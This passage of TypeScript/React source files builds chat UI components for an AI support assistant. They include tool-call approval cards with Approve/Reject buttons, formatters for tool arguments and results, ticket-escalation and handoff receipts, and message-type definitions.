w-full flex-col items-start gap-0 bg-ods-card px-[var(--spacing-system-sf)] pb-[var(--spacing-system-sf)] text-h6\">\n              {args.map(([key, value]) => (\n                <ArgRow key={key} argKey={key} value={value} />\n              ))}\n              {result && (\n                <ResultBlock\n                  result={result}\n                  className={args.length > 0 ? 'mt-[var(--spacing-system-xsf)]' : undefined}\n                />\n              )}\n            </div>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nconst ApprovalBatchMessage = forwardRef<HTMLDivElement, ApprovalBatchMessageProps>(\n  (\n    {\n      className,\n      data,\n      onApprove,\n      onReject,\n      status = 'pending',\n      maxBodyHeight,\n      resolvedByName,\n      showExecutionStatus = true,\n      assistantType: _assistantType,\n      variant = 'admin',\n      showFooterActions = true,\n      ...props\n    },\n    ref,\n  ) => {\n    const [expandedId, setExpandedId] = useState<string | null>(null);\n    const [isProcessing, setIsProcessing] = useState(false);\n    const isClient = variant === 'client';\n\n    const explanations = data.toolCalls.map(c => c.toolExplanation?.trim()).filter((s): s is string => !!s);\n\n    const handleApprove = async () => {\n      setIsProcessing(true);\n      try {\n        await onApprove?.(data.approvalRequestId);\n      } finally {\n        setIsProcessing(false);\n      }\n    };\n\n    const handleReject = async () => {\n      setIsProcessing(true);\n      try {\n        await onReject?.(data.approvalRequestId);\n      } finally {\n        setIsProcessing(false);\n      }\n    };\n\n    const actionButtons = (\n      <>\n        <Button\n          size=\"small-legacy\"\n          variant=\"accent\"\n          onClick={handleApprove}\n          disabled={isProcessing}\n          className={cn(\n            'bg-ods-accent hover:bg-ods-accent/90',\n            'text-ods-bg text-h5',\n            'h-8 px-[var(--spacing-system-xsf)]',\n          )}\n        >\n          Approve\n        </Button>\n        <Button\n          size=\"small-legacy\"\n          variant=\"outline\"\n          onClick={handleReject}\n          disabled={isProcessing}\n          className={cn(\n            'border-ods-border bg-ods-card',\n            'text-ods-text-primary text-h5',\n            'h-8 px-[var(--spacing-system-xsf)] hover:bg-ods-bg',\n          )}\n        >\n          Reject\n        </Button>\n      </>\n    );\n\n    // CLIENT (Fae end-user) card — Figma 203-11947 \"fae-approval-block\".\n    // One bordered card: BE-generated title(s) + Approve/Reject buttons or the\n    // full-text resolved pill (\"Approved by {name}\"). No commands, scripts,\n    // expansion or execution icons — the end client must not see them.\n    if (isClient) {\n      const titles = data.toolCalls\n        .map(c => c.toolExplanation?.trim() || c.toolTitle?.trim())\n        .filter((s): s is string => !!s);\n      return (\n        <div\n          ref={ref}\n          className={cn(\n            'mb-[var(--spacing-system-xsf)] flex flex-col gap-[var(--spacing-system-mf)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-mf)]',\n            className,\n          )}\n          {...props}\n        >\n          {titles.length > 0 ? (\n            titles.map((title, i) => (\n              <p key={i} className=\"w-full whitespace-pre-line break-words text-ods-text-primary text-h4\">\n                {title}\n              </p>\n            ))\n          ) : (\n            <p className=\"w-full text-ods-text-primary text-h4\">Approval required</p>\n          )}\n          {showFooterActions &&\n            (status === 'pending' ? (\n              <div className=\"flex w-full items-center gap-[var(--spacing-system-mf)]\">{actionButtons}</div>\n            ) : (\n              <div className=\"flex w-full\">\n                <ApprovalStatusTag status={status} resolvedByName={resolvedByName} inlineResolver />\n              </div>\n            ))}\n        </div>\n      );\n    }\n\n    const showFooterBlock = explanations.length > 0 || showFooterActions;\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          'mb-[var(--spacing-system-xsf)] flex flex-col',\n          'overflow-hidden rounded-md border border-ods-border bg-ods-card',\n          className,\n        )}\n        {...props}\n      >\n        <div\n          className={cn('flex flex-col', maxBodyHeight != null && 'overflow-y-auto overscroll-contain')}\n          style={maxBodyHeight != null ? { maxHeight: maxBodyHeight } : undefined}\n        >\n          {data.toolCalls.map(call => (\n            <ToolCallRow\n              key={call.toolExecutionRequestId}\n              call={call}\n              expanded={expandedId === call.toolExecutionRequestId}\n              onToggle={() =>\n                setExpandedId(prev => (prev === call.toolExecutionRequestId ? null : call.toolExecutionRequestId))\n              }\n              batchStatus={status}\n              execution={data.executions?.[call.toolExecutionRequestId]}\n              showExecutionStatus={showExecutionStatus}\n            />\n          ))}\n        </div>\n\n        {showFooterBlock && (\n          <div className=\"flex flex-col items-start justify-center gap-[var(--spacing-system-xsf)] border-t border-ods-border bg-ods-card p-[var(--spacing-system-sf)]\">\n            {explanations.length > 0 && (\n              <ul className=\"w-full list-disc pl-5 text-ods-text-primary text-h6\">\n                {explanations.map((expl, i) => (\n                  <li key={i}>{expl}</li>\n                ))}\n              </ul>\n            )}\n\n            {showFooterActions &&\n              (status === 'pending' ? (\n                <div className=\"flex items-center gap-[var(--spacing-system-xsf)]\">{actionButtons}</div>\n              ) : (\n                <div className=\"flex items-center gap-[var(--spacing-system-xsf)]\">\n                  <ApprovalStatusTag status={status} resolvedByName={resolvedByName} />\n                  {resolvedByName && <span className=\"text-ods-text-secondary text-h6\">by {resolvedByName}</span>}\n                </div>\n              ))}\n          </div>\n        )}\n      </div>\n    );\n  },\n);\n\nApprovalBatchMessage.displayName = 'ApprovalBatchMessage';\n\nexport { ApprovalBatchMessage };\n","'use client';\n\nimport { cn } from '../../utils/cn';\nimport { Chevron02DownIcon } from '../icons-v2-generated';\n\ninterface ExpandChevronProps {\n  expanded: boolean;\n  className?: string;\n}\n\nexport function ExpandChevron({ expanded, className }: ExpandChevronProps) {\n  return (\n    <Chevron02DownIcon\n      className={cn(\n        'h-4 w-4 shrink-0 text-ods-text-secondary transition-transform duration-200',\n        expanded && 'rotate-180',\n        className,\n      )}\n    />\n  );\n}\n","'use client';\n\nimport { type CSSProperties, useLayoutEffect, useState } from 'react';\n\ninterface UseCollapsibleOptions {\n  expanded: boolean;\n  collapsedHeight?: number | '1lh';\n  disableTransition?: boolean;\n  durationMs?: number;\n}\n\nexport function useCollapsible({\n  expanded,\n  collapsedHeight = 0,\n  disableTransition = false,\n  durationMs = 200,\n}: UseCollapsibleOptions) {\n  const [element, setElement] = useState<HTMLDivElement | null>(null);\n  const [contentHeight, setContentHeight] = useState(0);\n  const [collapsedPx, setCollapsedPx] = useState(0);\n\n  useLayoutEffect(() => {\n    if (!element) return undefined;\n    const measure = () => {\n      setContentHeight(element.scrollHeight);\n      setCollapsedPx(collapsedHeight === '1lh' ? parseFloat(getComputedStyle(element).lineHeight) : collapsedHeight);\n    };\n    measure();\n    const observer = new ResizeObserver(measure);\n    observer.observe(element);\n    return () => observer.disconnect();\n  }, [element, collapsedHeight]);\n\n  // When the caller asks for `\"1lh\"`, fall back to a measured pixel value\n  // (inner element's line-height) as soon as it's available. Setting\n  // `max-height: 1lh` via CSS resolves against the OUTER element's\n  // line-height, which can differ from the inner content's line-height and\n  // leak the top of the next block element past the clip line. The measured\n  // pixel value matches the inner content exactly.\n  const collapsedValue: number | string = collapsedHeight === '1lh' ? collapsedPx || collapsedHeight : collapsedHeight;\n\n  const containerStyle: CSSProperties = {\n    overflow: 'hidden',\n    maxHeight: expanded ? contentHeight : collapsedValue,\n    transition: disableTransition ? 'none' : `max-height ${durationMs}ms ease-in-out`,\n  };\n\n  return {\n    innerRef: setElement,\n    isOverflowing: contentHeight > collapsedPx,\n    containerStyle,\n  };\n}\n","import type { PendingToolCallData } from '../types';\n\n/**\n * Keys in `toolCallArguments` whose value is the actual command/query/script\n * body — anything that should be rendered as the tool's \"title\" line in the\n * approval card. Order matters: first match wins.\n */\nexport const COMMAND_BODY_ARG_KEYS = ['command', 'query', 'script', 'scriptContent', 'code'] as const;\n\n/**\n * Resolve the human-readable title/preview line for a tool call.\n * Order: command/query/script/scriptContent/code arg → title → name → fallback.\n *\n * Shape-agnostic so both the approval card (`PendingToolCallData`:\n * `toolCallArguments`/`toolName`) and the execution card (`ToolExecutionData`:\n * `parameters`/`toolFunction`) can share one source of truth.\n */\nexport function getToolCallTitle(opts: {\n  args?: Record<string, unknown> | null;\n  title?: string | null;\n  name?: string | null;\n}): string {\n  const { args, title, name } = opts;\n  if (args && typeof args === 'object') {\n    for (const key of COMMAND_BODY_ARG_KEYS) {\n      const candidate = args[key];\n      if (typeof candidate === 'string' && candidate.trim()) return candidate;\n    }\n  }\n  return title || name || 'Tool call';\n}\n\n/**\n * Extract a human-readable command string from a batch tool call.\n * Thin adapter over {@link getToolCallTitle}.\n */\nexport function getCommandText(call: PendingToolCallData): string {\n  return getToolCallTitle({\n    args: call.toolCallArguments,\n    title: call.toolTitle,\n    name: call.toolName,\n  });\n}\n\n/**\n * The raw command/query/script body only (first {@link COMMAND_BODY_ARG_KEYS}\n * match), with no title/name fallback. Used by the CLIENT (Fae) card to show\n * the command in the expanded body once the collapsed line switches to the\n * human-readable `toolExplanation`.\n */\nexport function getCommandBody(args?: Record<string, unknown> | null): string | undefined {\n  if (args && typeof args === 'object') {\n    for (const key of COMMAND_BODY_ARG_KEYS) {\n      const candidate = args[key];\n      if (typeof candidate === 'string' && candidate.trim()) return candidate;\n    }\n  }\n  return undefined;\n}\n\nexport type FormattedArgValue =\n  { kind: 'inline'; text: string } | { kind: 'block'; text: string; language: 'json' | 'text' };\n\nconst INLINE_STRING_MAX = 80;\n\n/**\n * Pretty-print like `JSON.stringify(value, null, 2)`, but render multi-line\n * string values across real lines instead of escaped `\\n` sequences.\n *\n * Trade-off: the output is optimised for human reading, not for being\n * re-parsed as JSON (multi-line string bodies lose their surrounding quotes\n * and escaping). Single-line strings keep normal JSON quoting/escaping.\n *\n * `indent` is the nesting level of this value's content lines / closing\n * bracket (matching the 2-space step of `JSON.stringify(_, null, 2)`).\n */\nfunction expandJson(value: unknown, indent: number): string {\n  const pad = (n: number) => '  '.repeat(n);\n\n  if (value === null) return 'null';\n  const t = typeof value;\n  if (t === 'number' || t === 'boolean' || t === 'bigint') return String(value);\n\n  if (t === 'string') {\n    const s = (value as string).replace(/\\r\\n/g, '\\n').replace(/\\r/g, '\\n');\n    if (!s.includes('\\n')) return JSON.stringify(s);\n    return s\n      .replace(/^\\n+/, '')\n      .replace(/\\n+$/, '')\n      .split('\\n')\n      .map(line => pad(indent) + line)\n      .join('\\n');\n  }\n\n  if (Array.isArray(value)) {\n    if (value.length === 0) return '[]';\n    const items = value.map(v =>\n      typeof v === 'string' && /[\\r\\n]/.test(v)\n        ? expandJson(v, indent + 1)\n        : pad(indent + 1) + expandJson(v, indent + 1),\n    );\n    return '[\\n' + items.join(',\\n') + '\\n' + pad(indent) + ']';\n  }\n\n  if (t === 'object') {\n    const entries = Object.entries(value as Record<string, unknown>);\n    if (entries.length === 0) return '{}';\n    const items = entries.map(([k, v]) => {\n      const key = JSON.stringify(k);\n      if (typeof v === 'string' && /[\\r\\n]/.test(v)) {\n        return pad(indent + 1) + key + ':\\n' + expandJson(v, indent + 2);\n      }\n      return pad(indent + 1) + key + ': ' + expandJson(v, indent + 1);\n    });\n    return '{\\n' + items.join(',\\n') + '\\n' + pad(indent) + '}';\n  }\n\n  return JSON.stringify(value);\n}\n\n/**\n * Entry point for {@link expandJson}: readable pretty-print where multi-line\n * string fields (script bodies, command output, …) are shown with real line\n * breaks instead of literal `\\n`.\n */\nexport function expandedJsonStringify(value: unknown): string {\n  try {\n    return expandJson(value, 0);\n  } catch {\n    return String(value);\n  }\n}\n\n/**\n * Decide how to render a single `toolCallArguments` value:\n *  - objects/arrays → pretty-printed JSON block\n *  - strings that parse as JSON → pretty-printed JSON block\n *  - multi-line or long strings → preserved-whitespace text block\n *  - everything else → inline single line\n */\nexport function formatToolArgValue(value: unknown): FormattedArgValue {\n  if (value === null || value === undefined) return { kind: 'inline', text: '' };\n\n  if (typeof value === 'object') {\n    return { kind: 'block', text: safeStringify(value), language: 'json' };\n  }\n\n  if (typeof value === 'string') {\n    const trimmed = value.trim();\n    if ((trimmed.startsWith('{') && trimmed.endsWith('}')) || (trimmed.startsWith('[') && trimmed.endsWith(']'))) {\n      try {\n        return { kind: 'block', text: expandedJsonStringify(JSON.parse(trimmed)), language: 'json' };\n      } catch {\n        // not valid JSON — fall through\n      }\n    }\n    if (value.includes('\\n') || value.length > INLINE_STRING_MAX) {\n      return { kind: 'block', text: value, language: 'text' };\n    }\n    return { kind: 'inline', text: value };\n  }\n\n  return { kind: 'inline', text: String(value) };\n}\n\nfunction safeStringify(value: unknown): string {\n  return expandedJsonStringify(value);\n}\n\n/**\n * Decide how to render a tool execution `result` string.\n *  - Strips a single surrounding markdown code fence (``` … ```), since the\n *    backend often wraps Bash/PowerShell output that way.\n *  - If the body parses as JSON, returns a pretty-printed JSON block.\n *  - If the body is multi-line / long, returns a preserved-whitespace block.\n *  - Otherwise inline.\n */\nexport function formatToolResult(value: string | undefined | null): FormattedArgValue {\n  if (typeof value !== 'string') return { kind: 'inline', text: '' };\n\n  const fenced = value.match(/^\\s*```(?:[a-zA-Z0-9_-]*)\\n([\\s\\S]*?)\\n```\\s*$/);\n  const body = fenced ? fenced[1] : value;\n  const trimmed = body.trim();\n\n  if ((trimmed.startsWith('{') && trimmed.endsWith('}')) || (trimmed.startsWith('[') && trimmed.endsWith(']'))) {\n    try {\n      return { kind: 'block', text: expandedJsonStringify(JSON.parse(trimmed)), language: 'json' };\n    } catch {\n      // fall through\n    }\n  }\n\n  if (body.includes('\\n') || body.length > INLINE_STRING_MAX) {\n    return { kind: 'block', text: body, language: 'text' };\n  }\n  return { kind: 'inline', text: body };\n}\n","'use client';\n\nimport { cn } from '../../utils/cn';\nimport { formatToolArgValue, formatToolResult } from './utils/tool-call-helpers';\n\n/**\n * Monospace code body shared by ArgRow / ResultBlock.\n *\n * Uses the ODS `text-code` composite token (Azeret Mono 500, h6 responsive\n * scale, no transform) — the token this file was originally flagged for.\n */\nconst CODE_PRE_CLASS =\n  'bg-ods-bg border border-ods-border rounded-md p-[var(--spacing-system-sf)] w-full max-h-64 overflow-auto overscroll-contain text-code text-ods-text-primary whitespace-pre';\n\n/**\n * Single arg row: inline `key: value` or labeled `<pre>` block.\n * Shared between ApprovalBatchMessage and ToolExecutionDisplay so both\n * surfaces render long script bodies / JSON the same way.\n */\nexport function ArgRow({ argKey, value }: { argKey: string; value: unknown }) {\n  const formatted = formatToolArgValue(value);\n\n  if (formatted.kind === 'inline') {\n    return (\n      <div className=\"flex w-full items-start gap-[var(--spacing-system-xxs)]\">\n        <span className=\"shrink-0 text-ods-text-secondary\">{argKey}:</span>\n        <span className=\"min-w-0 flex-1 break-all text-ods-text-primary\">{formatted.text}</span>\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"flex w-full flex-col items-start gap-[var(--spacing-system-xxs)]\">\n      <span className=\"text-ods-text-secondary\">{argKey}:</span>\n      <pre className={CODE_PRE_CLASS}>\n        <code>{formatted.text}</code>\n      </pre>\n    </div>\n  );\n}\n\n/**\n * Result block for a tool execution. Renders inline for short single-line\n * output and as a scrollable `<pre>` for code / JSON / multiline output.\n */\nexport function ResultBlock({ result, className }: { result: string | undefined | null; className?: string }) {\n  const formatted = formatToolResult(result);\n  if (!formatted.text) return null;\n\n  if (formatted.kind === 'inline') {\n    return (\n      <div className={cn('flex w-full flex-col items-start gap-[var(--spacing-system-xxs)]', className)}>\n        <span className=\"text-ods-text-secondary\">Result:</span>\n        <span className=\"break-all text-ods-text-primary\">{formatted.text}</span>\n      </div>\n    );\n  }\n\n  return (\n    <div className={cn('flex w-full flex-col items-start gap-[var(--spacing-system-xxs)]', className)}>\n      <span className=\"text-ods-text-secondary\">Result:</span>\n      <pre className={CODE_PRE_CLASS}>\n        <code>{formatted.text}</code>\n      </pre>\n    </div>\n  );\n}\n\n/**\n * Raw command/script body as an unlabeled code block. Used by the CLIENT (Fae)\n * card in the expanded state, where the collapsed line shows the human-readable\n * `toolExplanation` and the actual command moves into the body (Figma 1972-6100).\n */\nexport function CommandBlock({ command, className }: { command: string; className?: string }) {\n  if (!command) return null;\n  return (\n    <pre className={cn(CODE_PRE_CLASS, className)}>\n      <code>{command}</code>\n    </pre>\n  );\n}\n","'use client';\n\nimport { forwardRef, type HTMLAttributes } from 'react';\nimport { cn } from '../../utils/cn';\nimport { ApprovalRequestMessage } from './approval-request-message';\nimport type { EscalationOfferSegment } from './types/message.types';\n\nexport interface EscalationOfferMessageProps extends HTMLAttributes<HTMLDivElement> {\n  data: EscalationOfferSegment['data'];\n  status?: EscalationOfferSegment['status'];\n  resolvedByName?: string | null;\n  onApprove?: EscalationOfferSegment['onApprove'];\n  onReject?: EscalationOfferSegment['onReject'];\n}\n\n/**\n * Ticket-escalation offer block.\n *\n * Renders THROUGH the client approval card rather than reimplementing it:\n * per Figma (fae chat › \"escalation to admin\") the offer is that exact\n * component, down to the Approve/Reject labels and the resolved\n * \"Approved by {name}\" pill. Only the wiring differs — approve/reject call\n * the ticket-escalation mutations, never the tool-approval endpoint — which\n * is why this is a distinct segment type with its own handlers.\n *\n * The handoff receipt that follows an approval is NOT rendered here: it is its\n * own `TICKET_ESCALATED` block on the wire, which also covers the inactivity\n * auto-escalation — a path that raises no offer to infer from.\n */\nconst EscalationOfferMessage = forwardRef<HTMLDivElement, EscalationOfferMessageProps>(\n  ({ className, data, status = 'pending', resolvedByName, onApprove, onReject, ...props }, ref) => (\n    <div ref={ref} className={cn('flex flex-col', className)} {...props}>\n      <ApprovalRequestMessage\n        variant=\"client\"\n        // Only the client may resolve an offer — the backend rejects every\n        // other actor — so a viewer without BOTH handlers wired (the admin\n        // ticket view) sees the prompt read-only rather than dead buttons. The\n        // card renders Approve and Reject as a pair, so one handler is not a\n        // usable state. A resolved offer still shows its pill for everyone.\n        showFooterActions={(!!onApprove && !!onReject) || status !== 'pending'}\n        // The client card renders `explanation` as its body and never shows\n        // `command`; the offer's whole payload is that one backend-fixed line.\n        data={{ command: '', explanation: data.text, requestId: data.offerId }}\n        status={status}\n        resolvedByName={resolvedByName}\n        onApprove={onApprove}\n        onReject={onReject}\n      />\n    </div>\n  ),\n);\n\nEscalationOfferMessage.displayName = 'EscalationOfferMessage';\n\nexport { EscalationOfferMessage };\n","'use client';\n\nimport { forwardRef, type HTMLAttributes } from 'react';\nimport { InfoCircleIcon } from '../icons-v2-generated';\nimport { AiAssistantInfo } from './ai-assistant-info';\nimport type { TicketEscalatedSegment } from './types/message.types';\n\nconst TITLE = 'Handed Off to a Technician';\n\n/** Shown when the wire omits `text` (the field is nullable). */\nconst DEFAULT_BODY = 'A technician will reply when available.';\n\nexport interface TicketEscalatedMessageProps extends HTMLAttributes<HTMLDivElement> {\n  data: TicketEscalatedSegment['data'];\n  /** Timestamp of the message row this block came in on. */\n  timestamp?: Date;\n}\n\n/**\n * Handoff receipt — the conversation now belongs to a human technician.\n * Figma `ai-assistant-info` (type=escalation); chrome and the wrapping/\n * truncation trade-offs live in the shared `AiAssistantInfo` shell.\n *\n * The body is whatever the backend authored, so the reason it gives stays\n * server-side; the client never composes an explanation and never branches on\n * `data.reason`, which is why a reason added server-side needs no change here.\n */\nconst TicketEscalatedMessage = forwardRef<HTMLDivElement, TicketEscalatedMessageProps>(\n  ({ data, timestamp, ...props }, ref) => {\n    const body = data.text?.trim() || DEFAULT_BODY;\n    return (\n      <AiAssistantInfo\n        ref={ref}\n        icon={<InfoCircleIcon className=\"size-6 text-ods-flamingo-pink\" />}\n        title={TITLE}\n        body={body}\n        timestamp={timestamp}\n        {...props}\n      />\n    );\n  },\n);\n\nTicketEscalatedMessage.displayName = 'TicketEscalatedMessage';\n\nexport { TicketEscalatedMessage };\n","'use client';\n\nimport { forwardRef, type HTMLAttributes, type ReactNode } from 'react';\nimport { cn } from '../../utils/cn';\nimport { formatTime } from '../../utils/format-date';\n\nexport interface AiAssistantInfoProps extends HTMLAttributes<HTMLDivElement> {\n  /** Rendered inside the standard 48px framed box (typically a 24px icon). */\n  icon?: ReactNode;\n  /** Replaces the framed icon box entirely (e.g. a round 48px avatar for the\n   *  `direct-chat` variant). Wins over `icon` when both are set. */\n  leading?: ReactNode;\n  title: string;\n  /** Secondary line under the title. Omitted → the row is title-only. */\n  body?: ReactNode;\n  /** Timestamp of the message row this block came in on. */\n  timestamp?: Date;\n}\n\n/**\n * Figma `ai-assistant-info` — the shared in-thread status card: a framed\n * icon (or avatar), a title with a right-aligned time, and a secondary line.\n * One presentational shell for every lifecycle receipt in a chat thread\n * (handoff, technician joined, ticket resolved/reopened, …); the per-event\n * components (`TicketEscalatedMessage`, `TicketEventMessage`) own the copy\n * and icon choice and delegate the chrome here.\n *\n * The body WRAPS, deliberately diverging from the mock's single-line\n * ellipsis: the mock's 72px comes from its placeholder copy fitting one\n * line, while real wire text is a full sentence, and clipping the only\n * explanation of a lifecycle change is not recoverable on touch. The title\n * still truncates — it holds one line so the timestamp is never pushed out\n * of the row at narrow widths.\n */\nconst AiAssistantInfo = forwardRef<HTMLDivElement, AiAssistantInfoProps>(\n  ({ className, icon, leading, title, body, timestamp, ...props }, ref) => {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          'mb-[var(--spacing-system-xsf)] flex items-start gap-[var(--spacing-system-s)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-s)]',\n          className,\n        )}\n        {...props}\n      >\n        {leading ?? (\n          <div className=\"flex size-12 shrink-0 items-center justify-center rounded-md border border-ods-border bg-ods-bg\">\n            {icon}\n          </div>\n        )}\n        <div className=\"flex min-w-0 flex-1 flex-col\">\n          <div className=\"flex w-full items-start\">\n            <p className=\"min-w-0 flex-1 truncate text-ods-text-primary text-h4\" title={title}>\n              {title}\n            </p>\n            {timestamp && (\n              <span className=\"shrink-0 text-right text-ods-text-secondary text-h6\">{formatTime(timestamp)}</span>\n            )}\n          </div>\n          {body != null && body !== '' && <p className=\"w-full break-words text-ods-text-secondary text-h4\">{body}</p>}\n        </div>\n      </div>\n    );\n  },\n);\n\nAiAssistantInfo.displayName = 'AiAssistantInfo';\n\nexport { AiAssistantInfo };\n","// Locale-aware date/time formatters — mirrors openframe-frontend\n// `src/lib/format-date.ts`. Formats follow the user's locale\n// (e.g. MM/DD/YYYY in en-US vs DD.MM.YYYY in european locales).\n\ntype DateInput = string | number | Date;\n\nconst toDate = (input: DateInput): Date => (input instanceof Date ? input : new Date(input));\n\n// Shown when the input is missing or unparseable. `Intl.DateTimeFormat.format`\n// throws `RangeError: Invalid time value` on an invalid Date, so every formatter\n// here guards first — callers can pass raw API values without a per-call check.\nconst INVALID_DATE_PLACEHOLDER = '—';\n\nconst dateFmt = new Intl.DateTimeFormat(undefined, { dateStyle: 'short' });\nconst timeFmt = new Intl.DateTimeFormat(undefined, { timeStyle: 'short' });\n\nconst format = (input: DateInput, fmt: Intl.DateTimeFormat): string => {\n  const date = toDate(input);\n  return Number.isNaN(date.getTime()) ? INVALID_DATE_PLACEHOLDER : fmt.format(date);\n};\n\nexport const formatDate = (input: DateInput): string => format(input, dateFmt);\n\nexport const formatTime = (input: DateInput): string => format(input, timeFmt);\n","'use client';\n\nimport { forwardRef, type HTMLAttributes } from 'react';\nimport { CheckCircleIcon, InfoCircleIcon } from '../icons-v2-generated';\nimport { AiAssistantInfo } from './ai-assistant-info';\nimport { TICKET_EVENT_KIND, type TicketEventSegment } from './types/message.types';\n\n/** Actor types the backend uses for the AI agent. Open set on the wire —\n *  compared case-insensitively; anything else is treated as a human. */\nconst AI_ACTOR_TYPES = new Set(['AI', 'AGENT', 'ASSISTANT', 'BOT']);\n\nfunction isAiActor(actorType?: string): boolean {\n  return !!actorType && AI_ACTOR_TYPES.has(actorType.toUpperCase());\n}\n\n/** `TICKET_ON_HOLD` → `Ticket On Hold` — neutral title for kinds this build\n *  does not know, which must still render (the vocabulary is open). */\nfunction humanizeKind(kind: string): string {\n  return kind\n    .split(/[_\\s-]+/)\n    .filter(Boolean)\n    .map(word => word.charAt(0).toUpperCase() + word.slice(1).toLowerCase())\n    .join(' ');\n}\n\nexport interface TicketEventMessageProps extends HTMLAttributes<HTMLDivElement> {\n  data: TicketEventSegment['data'];\n  /** Timestamp of the message row this block came in on. */\n  timestamp?: Date;\n}\n\n/** Where the ticket reopened INTO → the \"who picks it up next\" line.\n *  Kind-tokens per the lifecycle statuses; the vocabulary is open, so an\n *  unrecognized target falls back to the actor heuristic below. */\nconst REOPEN_TARGET_COPY: Record<string, string> = {\n  AI_ASSISTANCE: 'The AI assistant will continue helping you in this conversation.',\n  TECH_REQUIRED: 'A technician will reply when available.',\n};\n\n/**\n * Ticket lifecycle receipt — resolved / reopened / an unknown future kind.\n * Figma `ai-assistant-info` (type=resolved-fae | resolved-tech |\n * reopened-fae | reopened-tech | reopened-reason).\n *\n * Copy is composed client-side from the event's fields (unlike\n * `ticket_escalated`, whose body the backend authors):\n *   RESOLVED → \"Resolved by {actorName}.\" under a green check;\n *   REOPENED → the reason when the wire carries one; otherwise who picks the\n *     conversation up next — `targetStatusKind` decides deterministically,\n *     with the `actorType` heuristic as the fallback for older backends\n *     that don't send the target;\n *   unknown kind → a neutral info line: humanized kind as the title, the\n *     reason or actor as the body. Never dropped — the vocabulary is open.\n */\nconst TicketEventMessage = forwardRef<HTMLDivElement, TicketEventMessageProps>(({ data, timestamp, ...props }, ref) => {\n  const { kind, actorName, actorType, reason, targetStatusKind } = data;\n  const resolved = kind === TICKET_EVENT_KIND.RESOLVED;\n  const reopened = kind === TICKET_EVENT_KIND.REOPENED;\n\n  const title = resolved ? 'Ticket Resolved' : reopened ? 'Ticket Reopened' : humanizeKind(kind);\n\n  let body: string | undefined;\n  if (resolved) {\n    body = actorName ? `Resolved by ${actorName}.` : 'The ticket has been resolved.';\n  } else if (reopened) {\n    body =\n      (reason ? `Reason: ${reason}` : undefined) ??\n      (targetStatusKind ? REOPEN_TARGET_COPY[targetStatusKind] : undefined) ??\n      (isAiActor(actorType)\n        ? `${actorName || 'Fae'} will continue assisting in this conversation.`\n        : 'A technician will reply when available.');\n  } else {\n    body = reason || (actorName ? `By ${actorName}.` : undefined);\n  }\n\n  const icon = resolved ? (\n    <CheckCircleIcon className=\"size-6 text-ods-attention-green-success\" />\n  ) : (\n    <InfoCircleIcon className=\"size-6 text-ods-flamingo-pink\" />\n  );\n\n  return <AiAssistantInfo ref={ref} icon={icon} title={title} body={body} timestamp={timestamp} {...props} />;\n});\n\nTicketEventMessage.displayName = 'TicketEventMessage';\n\nexport { TicketEventMessage };\n","/**\n * Message-related types\n * Contains all message structures, segments, and content types\n */\n\nimport type { ChatRef } from '../chat-ref.types';\nimport type { AssistantType, AuthorType, ChatApprovalStatus, MessageOwner } from './chat.types';\n\n// ========== Message Type Definitions ==========\n\nexport const MESSAGE_TYPE = {\n  TEXT: 'TEXT',\n  THINKING: 'THINKING',\n  ASK: 'ASK',\n  /** Per-answer source metadata (documents, videos, entity cards).\n   *\n   *  TWO names for ONE payload, on purpose. `SOURCES` is the contract the\n   *  backend is moving to; `GUIDE` is the envelope it ships in today, reused\n   *  from Guide Mode v2 so a released frontend keeps working during the v2→v3\n   *  rollout. Both decode through the same path, so dropping `GUIDE` later is a\n   *  deletion here and nothing else. */\n  GUIDE: 'GUIDE',\n  SOURCES: 'SOURCES',\n  EXECUTING_TOOL: 'EXECUTING_TOOL',\n  EXECUTED_TOOL: 'EXECUTED_TOOL',\n  APPROVAL_REQUEST: 'APPROVAL_REQUEST',\n  APPROVAL_RESULT: 'APPROVAL_RESULT',\n  ESCALATION_OFFER: 'ESCALATION_OFFER',\n  TICKET_ESCALATED: 'TICKET_ESCALATED',\n  TICKET_EVENT: 'TICKET_EVENT',\n  ERROR: 'ERROR',\n  MESSAGE_START: 'MESSAGE_START',\n  MESSAGE_END: 'MESSAGE_END',\n  MESSAGE_REQUEST: 'MESSAGE_REQUEST',\n  AI_METADATA: 'AI_METADATA',\n  TOKEN_USAGE: 'TOKEN_USAGE',\n  CONTEXT_COMPACTION_START: 'CONTEXT_COMPACTION_START',\n  CONTEXT_COMPACTION_END: 'CONTEXT_COMPACTION_END',\n  DIRECT_MESSAGE: 'DIRECT_MESSAGE',\n  SYSTEM: 'SYSTEM',\n  DIALOG_CLOSED: 'DIALOG_CLOSED',\n} as const;\n\nexport type MessageType = (typeof MESSAGE_TYPE)[keyof typeof MESSAGE_TYPE];\n\n// ========== Scroll Anchor (per-message render hint) ==========\n\n/** Per-message viewport-positioning hint sent on the per-turn metadata\n *  leading frame at the START of every assistant response. The chat\n *  message-list reads it to override the default `use-stick-to-bottom`\n *  tail behaviour for a single message. Field is OPTIONAL — when omitted\n *  (or set to `'bottom'`) the chat tails as today. Only `'top'` opts in\n *  to the alternative behaviour (used by display-action answers whose\n *  body is a long article and should be read top-down). */\nexport const SCROLL_ANCHOR = { TOP: 'top', BOTTOM: 'bottom' } as const;\n\nexport type ScrollAnchor = (typeof SCROLL_ANCHOR)[keyof typeof SCROLL_ANCHOR];\n\n// ========== Tool Execution Types ==========\n\nexport interface ToolExecutionData {\n  type: 'EXECUTING_TOOL' | 'EXECUTED_TOOL';\n  integratedToolType: string;\n  toolFunction: string;\n  /** Backend-issued human-readable title (mirrors `PendingToolCallData.toolTitle`). */\n  toolTitle?: string;\n  /**\n   * Backend-issued human-readable explanation of what the tool is doing and why\n   * (mirrors `PendingToolCallData.toolExplanation`). Only sent on `EXECUTING_TOOL`;\n   * the accumulator restores it onto the merged `EXECUTED_TOOL` segment.\n   */\n  toolExplanation?: string;\n  parameters?: Record<string, unknown>;\n  result?: string;\n  success?: boolean;\n  /**\n   * Backend-issued id (matches `PendingToolCallData.toolExecutionRequestId`).\n   * When present, lets the accumulator merge this execution event into the\n   * matching approval batch row instead of emitting a standalone segment.\n   */\n  toolExecutionRequestId?: string;\n}\n\n/**\n * Snapshot of an in-flight tool kept between the `EXECUTING_TOOL` and\n * `EXECUTED_TOOL` events. The backend only sends `toolTitle` on\n * `EXECUTING_TOOL`; carrying this state lets the accumulator restore it onto\n * the merged 